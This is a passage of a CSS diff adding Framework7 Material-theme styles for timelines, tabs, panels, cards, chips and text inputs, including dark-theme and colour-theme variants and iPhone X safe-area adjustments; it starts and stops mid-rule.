.timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child { + overflow: visible; + } + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + left: 0; + } + .md.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal) { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } +} +.md .theme-dark .timeline-item-inner { + background-color: rgba(255, 255, 255, 0.03); +} +.md .theme-dark .timeline-item-time { + color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red .timeline-item-date, +.md .color-theme-red .timeline-year-title, +.md .color-theme-red .timeline-month-title { + background: #f44336; +} +.md .color-theme-green .timeline-item-date, +.md .color-theme-green .timeline-year-title, +.md .color-theme-green .timeline-month-title { + background: #4caf50; +} +.md .color-theme-blue .timeline-item-date, +.md .color-theme-blue .timeline-year-title, +.md .color-theme-blue .timeline-month-title { + background: #2196f3; +} +.md .color-theme-pink .timeline-item-date, +.md .color-theme-pink .timeline-year-title, +.md .color-theme-pink .timeline-month-title { + background: #e91e63; +} +.md .color-theme-yellow .timeline-item-date, +.md .color-theme-yellow .timeline-year-title, +.md .color-theme-yellow .timeline-month-title { + background: #ffeb3b; +} +.md .color-theme-orange .timeline-item-date, +.md .color-theme-orange .timeline-year-title, +.md .color-theme-orange .timeline-month-title { + background: #ff9800; +} +.md .color-theme-gray .timeline-item-date, +.md .color-theme-gray .timeline-year-title, +.md .color-theme-gray .timeline-month-title { + background: #9e9e9e; +} +.md .color-theme-white .timeline-item-date, +.md .color-theme-white .timeline-year-title, +.md .color-theme-white .timeline-month-title { + background: #ffffff; +} +.md .color-theme-black .timeline-item-date, +.md .color-theme-black .timeline-year-title, +.md .color-theme-black .timeline-month-title { + background: #000000; +} +.md .timeline.color-theme-red .timeline-item-date, +.md .timeline.color-theme-red .timeline-year-title, +.md .timeline.color-theme-red .timeline-month-title { + background: #f44336; +} +.md .timeline.color-theme-green .timeline-item-date, +.md .timeline.color-theme-green .timeline-year-title, +.md .timeline.color-theme-green .timeline-month-title { + background: #4caf50; +} +.md .timeline.color-theme-blue .timeline-item-date, +.md .timeline.color-theme-blue .timeline-year-title, +.md .timeline.color-theme-blue .timeline-month-title { + background: #2196f3; +} +.md .timeline.color-theme-pink .timeline-item-date, +.md .timeline.color-theme-pink .timeline-year-title, +.md .timeline.color-theme-pink .timeline-month-title { + background: #e91e63; +} +.md .timeline.color-theme-yellow .timeline-item-date, +.md .timeline.color-theme-yellow .timeline-year-title, +.md .timeline.color-theme-yellow .timeline-month-title { + background: #ffeb3b; +} +.md .timeline.color-theme-orange .timeline-item-date, +.md .timeline.color-theme-orange .timeline-year-title, +.md .timeline.color-theme-orange .timeline-month-title { + background: #ff9800; +} +.md .timeline.color-theme-gray .timeline-item-date, +.md .timeline.color-theme-gray .timeline-year-title, +.md .timeline.color-theme-gray .timeline-month-title { + background: #9e9e9e; +} +.md .timeline.color-theme-white .timeline-item-date, +.md .timeline.color-theme-white .timeline-year-title, +.md .timeline.color-theme-white .timeline-month-title { + background: #ffffff; +} +.md .timeline.color-theme-black .timeline-item-date, +.md .timeline.color-theme-black .timeline-year-title, +.md .timeline.color-theme-black .timeline-month-title { + background: #000000; +} +/* === Tabs === */ +.tabs .tab { + display: none; +} +.tabs .tab-active { + display: block; +} +.tabs-animated-wrap { + position: relative; + width: 100%; + overflow: hidden; + height: 100%; +} +.tabs-animated-wrap > .tabs { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + height: 100%; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.tabs-animated-wrap > .tabs > .tab { + width: 100%; + display: block; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.tabs-animated-wrap.not-animated > .tabs { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.tabs-swipeable-wrap { + height: 100%; +} +.tabs-swipeable-wrap > .tabs { + height: 100%; +} +.tabs-swipeable-wrap > .tabs > .tab { + display: block; +} +.page > .tabs { + height: 100%; +} +/* === Panels === */ +.panel-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + opacity: 0; + z-index: 5999; + display: none; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.panel-backdrop.not-animated { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel { + z-index: 1000; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + overflow: auto; + -webkit-overflow-scrolling: touch; + top: 0; + height: 100%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + width: 260px; + background-color: #fff; +} +.panel.not-animated { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel.panel-reveal.not-animated ~ .views, +.panel.panel-reveal.not-animated ~ .view { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel-cover { + z-index: 6000; +} +.panel-left { + left: 0; +} +.panel-left.panel-cover { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +.panel-right { + right: 0; +} +.panel-right.panel-cover { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.panel-visible-by-breakpoint { + display: block; + -webkit-transform: translate3d(0, 0, 0) !important; + transform: translate3d(0, 0, 0) !important; +} +.panel-visible-by-breakpoint.panel-cover { + z-index: 5900; +} +html.with-panel .framework7-root > .views .page-content, +html.with-panel .framework7-root > .view .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +html.with-panel-left-cover .panel-backdrop, +html.with-panel-right-cover .panel-backdrop { + display: block; + opacity: 1; +} +html.with-panel-left-reveal .panel-backdrop, +html.with-panel-right-reveal .panel-backdrop, +html.with-panel-transitioning .panel-backdrop { + background: rgba(0, 0, 0, 0); + display: block; + opacity: 0; +} +html.with-panel-left-reveal .views, +html.with-panel-left-reveal .framework7-root > .view, +html.with-panel-left-reveal .panel-backdrop { + -webkit-transform: translate3d(260px, 0, 0); + transform: translate3d(260px, 0, 0); +} +html.with-panel-right-reveal .views, +html.with-panel-right-reveal .framework7-root > .view, +html.with-panel-right-reveal .panel-backdrop { + -webkit-transform: translate3d(-260px, 0, 0); + transform: translate3d(-260px, 0, 0); +} +html.with-panel-left-cover .panel-left { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +html.with-panel-right-cover .panel-right { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +html.with-statusbar.device-ios .panel, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .panel { + top: 20px; + height: calc(100% - 20px); +} +html.with-statusbar.device-android .panel, +html.with-statusbar.md:not(.device-ios):not(.device-android) .panel { + top: 24px; + height: calc(100% - 24px); +} +html.with-statusbar.device-iphone-x .panel { + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); +} +.md .panel-backdrop { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + background: rgba(0, 0, 0, 0.2); +} +.md .panel { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .panel-visible { + display: block; +} +.md .panel-visible-by-breakpoint { + -webkit-box-shadow: none; + box-shadow: none; +} +.md.with-panel-left-cover .panel-cover, +.md.with-panel-right-cover .panel-cover { + -webkit-box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); + box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); +} +.md.with-panel-left-reveal .views, +.md.with-panel-right-reveal .views, +.md.with-panel-left-reveal .framework7-root > .view, +.md.with-panel-right-reveal .framework7-root > .view { + -webkit-box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); + box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); +} +.md.with-panel-left-reveal .views, +.md.with-panel-right-reveal .views, +.md.with-panel-transitioning .views, +.md.with-panel-left-reveal .framework7-root > .view, +.md.with-panel-right-reveal .framework7-root > .view, +.md.with-panel-transitioning .framework7-root > .view { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform, -webkit-box-shadow; + transition-property: -webkit-transform, -webkit-box-shadow; + transition-property: transform, box-shadow; + transition-property: transform, box-shadow, -webkit-transform, -webkit-box-shadow; +} +/* === Card === */ +.cards-list > ul:before, +.card .list > ul:before { + display: none !important; +} +.cards-list > ul:after, +.card .list > ul:after { + display: none !important; +} +.card { + background: #fff; + position: relative; + border-radius: 4px; + font-size: 14px; +} +.card .list, +.card .block { + margin: 0; +} +.row:not(.no-gap) .col > .card { + margin-left: 0; + margin-right: 0; +} +.card-content { + position: relative; +} +.card-content-padding { + position: relative; +} +.card-content-padding > p:first-child { + margin-top: 0; +} +.card-content-padding > p:last-child { + margin-bottom: 0; +} +.card-header, +.card-footer { + min-height: 44px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.card-header[valign="top"], +.card-footer[valign="top"] { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.card-header[valign="bottom"], +.card-footer[valign="bottom"] { + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; +} +.card-header a.link, +.card-footer a.link { + position: relative; +} +.card-header a.link i.icon, +.card-footer a.link i.icon { + display: block; +} +.card-header a.icon-only, +.card-footer a.icon-only { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 0; +} +.card-header { + border-radius: 4px 4px 0 0; +} +.card-header:after { + content: ''; + position: absolute; + background-color: #e1e1e1; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .card-header:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .card-header:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.card-header.no-hairline:after { + display: none !important; +} +.card-footer { + border-radius: 0 0 4px 4px; +} +.card-footer:before { + content: ''; + position: absolute; + background-color: #e1e1e1; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +html.device-pixel-ratio-2 .card-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .card-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.card-footer.no-hairline:before { + display: none !important; +} +.md .cards-list ul, +.md .card .list ul { + background: none; +} +.md .card { + margin: 8px; + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12); +} +.md .card-outline { + -webkit-box-shadow: none; + box-shadow: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.md .card-header a.link, +.md .card-footer a.link { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + color: #2196f3; + border-radius: 4px; + line-height: 36px; + height: 36px; + text-transform: uppercase; + min-width: 64px; + padding: 0 8px; + border: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + font-weight: 500; + letter-spacing: 0.03em; +} +input[type="submit"].md .card-header a.link, +input[type="submit"].md .card-footer a.link, +input[type="button"].md .card-header a.link, +input[type="button"].md .card-footer a.link { + width: 100%; +} +.md .card-header a.link.active-state, +.md .card-footer a.link.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .card-header a.icon-only, +.md .card-footer a.icon-only { + min-width: 48px; +} +.md .page-content > .card:last-child { + margin-bottom: 32px; +} +.md .card-content-padding { + padding: 16px; +} +.md .card-content-padding > .list, +.md .card-content-padding > .block { + margin: -16px; +} +.md .card-header, +.md .card-footer { + min-height: 48px; + padding: 4px 16px; +} +.md .card-header { + font-size: 16px; +} +.md .card-footer { + color: #757575; +} +.md .theme-dark .card { + background-color: rgba(255, 255, 255, 0.03); +} +.md .theme-dark .card-outline { + border-color: #282829; +} +.md .theme-dark .card-header:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .card-footer { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .card-footer:before { + background-color: rgba(255, 255, 255, 0.08); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(8px + constant(safe-area-inset-left)); + margin-left: calc(8px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(8px + constant(safe-area-inset-right)); + margin-right: calc(8px + env(safe-area-inset-right)); + } +} +.md .color-theme-red .card-header a.link, +.md .color-theme-red .card-footer a.link, +.md .card-header.color-theme-red a.link, +.md .card-footer.color-theme-red a.link { + color: #f44336; +} +.md .color-theme-green .card-header a.link, +.md .color-theme-green .card-footer a.link, +.md .card-header.color-theme-green a.link, +.md .card-footer.color-theme-green a.link { + color: #4caf50; +} +.md .color-theme-blue .card-header a.link, +.md .color-theme-blue .card-footer a.link, +.md .card-header.color-theme-blue a.link, +.md .card-footer.color-theme-blue a.link { + color: #2196f3; +} +.md .color-theme-pink .card-header a.link, +.md .color-theme-pink .card-footer a.link, +.md .card-header.color-theme-pink a.link, +.md .card-footer.color-theme-pink a.link { + color: #e91e63; +} +.md .color-theme-yellow .card-header a.link, +.md .color-theme-yellow .card-footer a.link, +.md .card-header.color-theme-yellow a.link, +.md .card-footer.color-theme-yellow a.link { + color: #ffeb3b; +} +.md .color-theme-orange .card-header a.link, +.md .color-theme-orange .card-footer a.link, +.md .card-header.color-theme-orange a.link, +.md .card-footer.color-theme-orange a.link { + color: #ff9800; +} +.md .color-theme-gray .card-header a.link, +.md .color-theme-gray .card-footer a.link, +.md .card-header.color-theme-gray a.link, +.md .card-footer.color-theme-gray a.link { + color: #9e9e9e; +} +.md .color-theme-white .card-header a.link, +.md .color-theme-white .card-footer a.link, +.md .card-header.color-theme-white a.link, +.md .card-footer.color-theme-white a.link { + color: #ffffff; +} +.md .color-theme-black .card-header a.link, +.md .color-theme-black .card-footer a.link, +.md .card-header.color-theme-black a.link, +.md .card-footer.color-theme-black a.link { + color: #000000; +} +.md .card-header a.link.color-red, +.md .card-footer a.link.color-red { + color: #f44336; +} +.md .card-header a.link.color-green, +.md .card-footer a.link.color-green { + color: #4caf50; +} +.md .card-header a.link.color-blue, +.md .card-footer a.link.color-blue { + color: #2196f3; +} +.md .card-header a.link.color-pink, +.md .card-footer a.link.color-pink { + color: #e91e63; +} +.md .card-header a.link.color-yellow, +.md .card-footer a.link.color-yellow { + color: #ffeb3b; +} +.md .card-header a.link.color-orange, +.md .card-footer a.link.color-orange { + color: #ff9800; +} +.md .card-header a.link.color-gray, +.md .card-footer a.link.color-gray { + color: #9e9e9e; +} +.md .card-header a.link.color-white, +.md .card-footer a.link.color-white { + color: #ffffff; +} +.md .card-header a.link.color-black, +.md .card-footer a.link.color-black { + color: #000000; +} +/* === Chips === */ +.chip { + font-weight: normal; + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 2px 0; +} +.chip-media { + border-radius: 50%; + text-align: center; + color: #fff; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.chip-media img { + max-width: 100%; + max-height: 100%; + width: auto; + height: auto; + border-radius: 50%; + display: block; +} +.chip-label { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + position: relative; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.chip-delete { + text-align: center; + cursor: pointer; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + background-repeat: no-repeat; +} +.chip .chip-delete.active-state { + opacity: 1; +} +.md .chip { + font-size: 13px; + color: rgba(0, 0, 0, 0.87); + background: rgba(0, 0, 0, 0.12); + height: 32px; + line-height: 32px; + border-radius: 16px; + padding: 0 12px; +} +.md .chip-outline { + background: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.md .chip-media { + width: 32px; + height: 32px; + vertical-align: top; + border-radius: 50%; + text-align: center; + line-height: 32px; + color: #fff; + font-size: 16px; + margin-left: -12px; +} +.md .chip-media + .chip-label { + margin-left: 8px; +} +.md .chip-label + .chip-delete { + margin-left: 4px; +} +.md .chip-delete { + width: 24px; + height: 24px; + line-height: 24px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + background-position: center; + background-size: 20px 20px; + opacity: 0.54; + margin-right: -8px; +} +.md .theme-dark .chip { + background: #333; + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .chip-outline { + background: none; + border-color: #333; +} +.md .theme-dark .chip-delete { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .chip.color-red { + background: #f44336; + color: #fff; +} +.md .chip.color-red.chip-outline { + background: none; + border-color: #f44336; + color: #f44336; +} +.md .chip.color-green { + background: #4caf50; + color: #fff; +} +.md .chip.color-green.chip-outline { + background: none; + border-color: #4caf50; + color: #4caf50; +} +.md .chip.color-blue { + background: #2196f3; + color: #fff; +} +.md .chip.color-blue.chip-outline { + background: none; + border-color: #2196f3; + color: #2196f3; +} +.md .chip.color-pink { + background: #e91e63; + color: #fff; +} +.md .chip.color-pink.chip-outline { + background: none; + border-color: #e91e63; + color: #e91e63; +} +.md .chip.color-yellow { + background: #ffeb3b; + color: #fff; +} +.md .chip.color-yellow.chip-outline { + background: none; + border-color: #ffeb3b; + color: #ffeb3b; +} +.md .chip.color-orange { + background: #ff9800; + color: #fff; +} +.md .chip.color-orange.chip-outline { + background: none; + border-color: #ff9800; + color: #ff9800; +} +.md .chip.color-gray { + background: #9e9e9e; + color: #fff; +} +.md .chip.color-gray.chip-outline { + background: none; + border-color: #9e9e9e; + color: #9e9e9e; +} +.md .chip.color-white { + background: #ffffff; + color: #fff; +} +.md .chip.color-white.chip-outline { + background: none; + border-color: #ffffff; + color: #ffffff; +} +.md .chip.color-black { + background: #000000; + color: #fff; +} +.md .chip.color-black.chip-outline { + background: none; + border-color: #000000; + color: #000000; +} +/* === Input === */ +input[type="text"], +input[type="password"], +input[type="search"], +input[type="email"], +input[type="tel"], +input[type="url"], +input[type="date"], +input[type="datetime-local"], +input[type="time"], +input[type="number"], +select, +textarea { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: none; + -webkit-box-shadow: none; + box-shadow: none; + border-radius: 0; + outline: 0; + display: block; + padding: 0; + margin: 0; + font-family: inherit; + background: none; + resize: none; + font-size: inherit; + color: inherit; +} +.textarea-resizable-shadow { + opacity: 0; + position: absolute; + z-index: -1000; + pointer-events: none; + left: -1000px; + top: -1000px; + visibility: hidden; +} +.list input[type="text"], +.list input[type="password"], +.list input[type="search"], +.list input[type="email"], +.list input[type="tel"], +.list input[type="url"], +.list input[type="date"], +.list input[type="datetime-local"], +.list input[type="time"], +.list input[type="number"], +.list select, +.list textarea { + width: 100%; +} +.list input[type="datetime-local"] { + max-width: 50vw; +} +.list input[type="date"], +.list input[type="datetime-local"] { + line-height: 44px; +} +.list textarea { + resize: none; + line-height: 1.4; + height: 100px; +} +.list .item-label, +.list .item-floating-label { + vertical-align: top; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.list .item-input-wrap { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; +} +.input { + position: relative; +} +.input input, +.input select, +.input textarea { + width: 100%; +} +.input-clear-button { + opacity: 0; + pointer-events: none; + visibility: hidden; + -webkit-transition-duration: 100ms; + transition-duration: 100ms; + position: absolute; + top: 50%; + border-radius: 50%; + border: none; + padding: 0; + margin: 0; + outline: 0; + z-index: 1; + cursor: pointer; + background: none; + right: 0; +} +.input-clear-button:after { + content: ''; + position: absolute; + width: 100%; + height: 100%; + left: 0; + top: 0; + background-repeat: no-repeat; + background-position: center center; +} +.input-clear-button:before { + position: absolute; + content: ''; + left: 50%; + top: 50%; +} +.input-with-value ~ .input-clear-button, +.item-input-with-value .input-clear-button, +.input-with-value .input-clear-button { + opacity: 1; + pointer-events: auto; + visibility: visible; +} +.input-dropdown-wrap, +.input-dropdown { + position: relative; +} +.input-dropdown-wrap:before, +.input-dropdown:before { + content: ''; + pointer-events: none; + position: absolute; + top: 50%; + margin-top: -2px; + width: 0; + height: 0; + border-left: 5px solid transparent; + border-right: 5px solid transparent; + border-top: 5px solid #727272; + right: 2px; +} +.input-dropdown-wrap select, +.input-dropdown select, +.input-dropdown-wrap input, +.input-dropdown input, +.input-dropdown-wrap textarea, +.input-dropdown textarea { + padding-right: 14px; +} +.md .list input[type="text"], +.md .list input[type="password"], +.md .list input[type="search"], +.md .list input[type="email"], +.md .list input[type="tel"], +.md .list input[type="url"], +.md .list input[type="date"], +.md .list input[type="datetime-local"], +.md .list input[type="time"], +.md .list input[type="number"], +.md .list select { + height: 36px; + color: #212121; + font-size: 16px; +} +.md .list input[type="text"]::-webkit-input-placeholder, +.md .list input[type="password"]::-webkit-input-placeholder, +.md .list input[type="search"]::-webkit-input-placeholder, +.md .list input[type="email"]::-webkit-input-placeholder, +.md .list input[type="tel"]::-webkit-input-placeholder, +.md .list input[type="url"]::-webkit-input-placeholder, +.md .list input[type="date"]::-webkit-input-placeholder, +.md .list input[type="datetime-local"]::-webkit-input-placeholder, +.md .list input[type="time"]::-webkit-input-placeholder, +.md .list input[type="number"]::-webkit-input-placeholder, +.md .list select::-webkit-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list input[type="text"]:-ms-input-placeholder, +.md .list input[type="password"]:-ms-input-placeholder, +.md .list input[type="search"]:-ms-input-placeholder, +.md .list input[type="email"]:-ms-input-placeholder, +.md .list input[type="tel"]:-ms-input-placeholder, +.md .list input[type="url"]:-ms-input-placeholder, +.md .list input[type="date"]:-ms-input-placeholder, +.md .list input[type="datetime-local"]:-ms-input-placeholder, +.md .list input[type="time"]:-ms-input-placeholder, +.md .list input[type="number"]:-ms-input-placeholder, +.md .list select:-ms-input-placeholder { + color: rgba(0, 0, 